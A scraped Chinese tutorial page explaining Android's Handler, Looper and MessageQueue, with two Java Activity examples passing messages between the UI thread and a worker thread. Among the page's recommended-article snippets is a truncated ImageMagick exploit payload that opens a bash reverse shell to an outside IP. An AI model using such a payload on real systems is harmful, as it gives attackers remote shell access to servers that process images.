android消息处理机制之2handler与looper,MessageQueue:的关系
//
Looper:
在UI主线程里面有默认有一个Looper对象来管理UI线程的各条消息,但是在自定义的实现Thread的消息循环和消息派发,缺省情况下Thread是没有这个消息循环的既没有Looper;需要主动去创建将该线程内部的message添加到messagequeue中去,让looper来进行管理添加到,然后启动Looper的消息循环loop;与外部的交互通过Handler进行;
MessageQueue:
消息队列,由Looper所持有,但是消息的添加是通过Handler进行;
消息循环和消息队列都是属于Thread,而Handler本身并不具有Looper和MessageQueue;
但是消息系统的建立和交互,是Thread将Looper和MessageQueue交给某个Handler维护建立消息系统模型。所以消息系统模型的核心就是Looper。消息循环和消息队列都是由Looper建立的,而建立Handler的关键就是这个Looper。
一个Thread同时可以对应多个Handler,一个Handler同时只能属于一个Thread。Handler属于哪个
Thread取决于Handler在那个Thread中建立。
在一个Thread中Looper也是唯一的,一个Thread对应一个Looper,建立Handler的Looper来自哪个Thread,
Handler属于哪个Thread。
//================首先是让handler有一个需要looper对象的构造来看一下,在主线程里面是不是有一个looper对象。
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.app.Activity; public class Main extends Activity {
private Button button;
private TextView textView;
private MyHandler handler; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 在activity里面有一个默认的Looper对象来处理子线程中发送的消息。
button = (Button) findViewById(R.id.button1);
textView = (TextView) findViewById(R.id.editText1);
// 获取looper
Looper looper = Looper.getMainLooper(); //
handler = new MyHandler(looper); //通过这个looper传递过去
handler = new MyHandler(); ///这个效果和上面的效果执行上是一模一样的。
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
new Thread(new MyThread()).start();
}
});
} // 子线程
public class MyThread implements Runnable {
@Override
public void run() {
// TODO Auto-generated method stub
Message message = Message.obtain();
message.obj = "LooperMessage";
handler.sendMessage(message);
}
} // 继承一个handler类
public class MyHandler extends Handler {
public MyHandler() {
// TODO Auto-generated constructor stub
} // 定义一个带参构造方法
public MyHandler(Looper looper) {
super(looper);
} @Override
public void handleMessage(Message msg) {
// TODO Auto-generated method stub
super.handleMessage(msg);
textView.setText("-接收消息-->" + msg.obj.toString());
}
} }
// 验证只有加入到messageQueue的消息队列里面handler才可以获取,处理,分发。而这个messageQueue就是有looper进行管理的。
//这个是从UI主线想子线程中发送消息,只要将将要发送的消息加入到looper管理的messageQueue(主线程)队列中去,在同一个消息队列里面处理一个消息不就很easy吗?
package com.example.handler_looper_01; import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.app.Activity; /**
* 将消息从UI主线程中发送到子线程中,比较少用~~
*
* @author lpp
*
*/
public class Main extends Activity {
private Button button;
private TextView textView;
private Handler handler; // 获取handler对象 @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 在activity里面有一个默认的Looper对象来处理子线程中发送的消息。
button = (Button) findViewById(R.id.button1);
textView = (TextView) findViewById(R.id.editText1);
// 启动线程
new Thread(new MyThread()).start();
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Message message = Message.obtain();
message.obj = "UI的message";
handler.sendMessage(message);
}
});
} // 子线程
public class MyThread implements Runnable {
@Override
public void run() {
// 在线程里面与activity不一样是没有looper与之进行关联。因此是无法接收到looper里面的消息!直接报错
Looper.prepare(); // 循环消息队列
// 接受Ui主线程发送过来的消息
handler = new Handler() {
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
// CalledFromWrongThreadException: Only the original thread
// that created a view hierarchy can touch its views.
// textView.setText(msg.obj.toString()); //
// 这属于在子线程中更新UI,会直接报错!
System.out.println(msg.obj.toString()); }
};
Looper.loop(); // 知道消息队列循环结束
}
}
}
消息循环和消息队列都是属于Thread,而Handler本身并不具有Looper和MessageQueue;
但是消息系统的建立和交互,是Thread将Looper和MessageQueue交给某个Handler维护建立消息系统模型。
所以消息系统模型的核心就是Looper。消息循环和消息队列都是由Looper建立的,
而建立Handler的关键就是这个Looper。
一个Thread同时可以对应多个Handler,一个Handler同时只能属于一个Thread。Handler属于哪个
Thread取决于Handler在那个Thread中建立。
在一个Thread中Looper也是唯一的,一个Thread对应一个Looper,建立Handler的Looper来自哪个Thread,
Handler属于哪个Thread。
android消息处理机制之2handler与looper,MessageQueue:的关系的更多相关文章
- 解析Android消息处理机制:Handler/Thread/Looper & MessageQueue
解析Android消息处理机制 ——Handler/Thread/Looper & MessageQueue Keywords: Android Message HandlerThread L ...
- Android -- 消息处理机制源码分析(Looper,Handler,Message)
android的消息处理有三个核心类:Looper,Handler和Message.其实还有一个Message Queue(消息队列),但是MQ被封装到Looper里面了,我们不会直接与MQ打交道,因 ...
- (转)Android消息处理机制(Handler、Looper、MessageQueue与Message)
转自 http://www.cnblogs.com/angeldevil/p/3340644.html Android消息处理机制(Handler.Looper.MessageQueue与Messag ...
- 【Android 开发】: Android 消息处理机制之一: Handler 与 Message
最近几讲内容,我们学习了Android中关于多线程的一些知识,上一讲我们讲解了异步任务 AsyncTask 的操作,Android中还提供了其他的线程操作,如Handler Message Messa ...
- Android架构分析之Android消息处理机制(二)
作者:刘昊昱 博客:http://blog.csdn.net/liuhaoyutz Android版本号:4.4.2 在上一篇文章中我们看了一个使用Handler处理Message消息的样例,本文我们 ...
- Android架构分析之Android消息处理机制(一)
作者:刘昊昱 博客:http://blog.csdn.net/liuhaoyutz Android版本号:4.4.2 在这个系列文章中我们将来分析Android消息处理机制. 本文介绍了一个使用Han ...
- 7.1 基础知识Android消息处理机制
1. Android消息处理机制: Handler, MessageQueue, Looper, Thread 线程概念 : 一个应用程序运行时它的主体被称为进程, 一个进程内部可以有多个线程, 线程 ...
- Android消息处理机制
Android消息处理机制 Android应用程序消息处理机制(深入到native,实际由管道实现-pipe&epoll)
- Android Handler处理机制 ( 三 ) ——Handler,Message,Looper,MessageQueue
在android中提供了一种异步回调机制Handler,使用它,我们可以在完成一个很长时间的任务后做出相应的通知 handler基本使用: 在主线程中,使用handler很简单,new一个Handle ...
随机推荐
- HTTPS原理介绍
内容来源于:http://www.guokr.com/post/114121/ 自己做个备忘. 二.HTTPS到底安全吗? 这个答案是肯定的,很安全.谷歌公司已经行动起来要大力推广HTTPS的使用,在 ...
- [LintCode] Scramble String 爬行字符串
Given a string s1, we may represent it as a binary tree by partitioning it to two non-empty substrin ...
- mac终端命令大全全全全全全全全全
OSX 的文件系统 OSX 采用的Unix文件系统,所有文件都挂在跟目录 / 下面,所以不在要有Windows 下的盘符概念. 你在桌面上看到的硬盘都挂在 /Volumes 下. 比如接上个叫做 US ...
- ImageMagick又一处命令执行
push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...
- MySQL数据恢复和复制对InnoDB锁机制的影响
MySQL通过BINLOG记录执行成功的INSERT,UPDATE,DELETE等DML语句.并由此实现数据库的恢复(point-in-time)和复制(其原理与恢复类似,通过复制和执行二进制日志使一 ...
- 关于Random类产生随机数的一些问题
package test2; import java.util.Random; /** * @author cy * * @date 2015年7月28日 上午8:47:52 * * @Descrip ...
- 【iCore3 双核心板_FPGA】例程七:基础逻辑门实验——逻辑门使用
实验指导书及代码包下载: http://pan.baidu.com/s/1Rs18U iCore3 购买链接: https://item.taobao.com/item.htm?id=52422943 ...
- 【iCore3 双核心板_FPGA】实验二十:基于FIFO的ARM+FPGA数据存取实验
实验指导书及代码包下载: http://pan.baidu.com/s/1cmisnO iCore3 购买链接: https://item.taobao.com/item.htm?id=5242294 ...
- hadoop2.5重新编译问题
这几天一直在搭建hadoop环境,由于2.5以及2.6的版本需要在64位环境下重新编译,所以中间走了不少弯路.现在总结一下,由于手头资源紧张,只能在pc上模拟环境,具体环境如下: 宿主机:联想的笔记本 ...
- 分时间uu
#include<stdio.h> int map[20][4]; typedef struct node{ int star; int end; }node; node dui[10 ...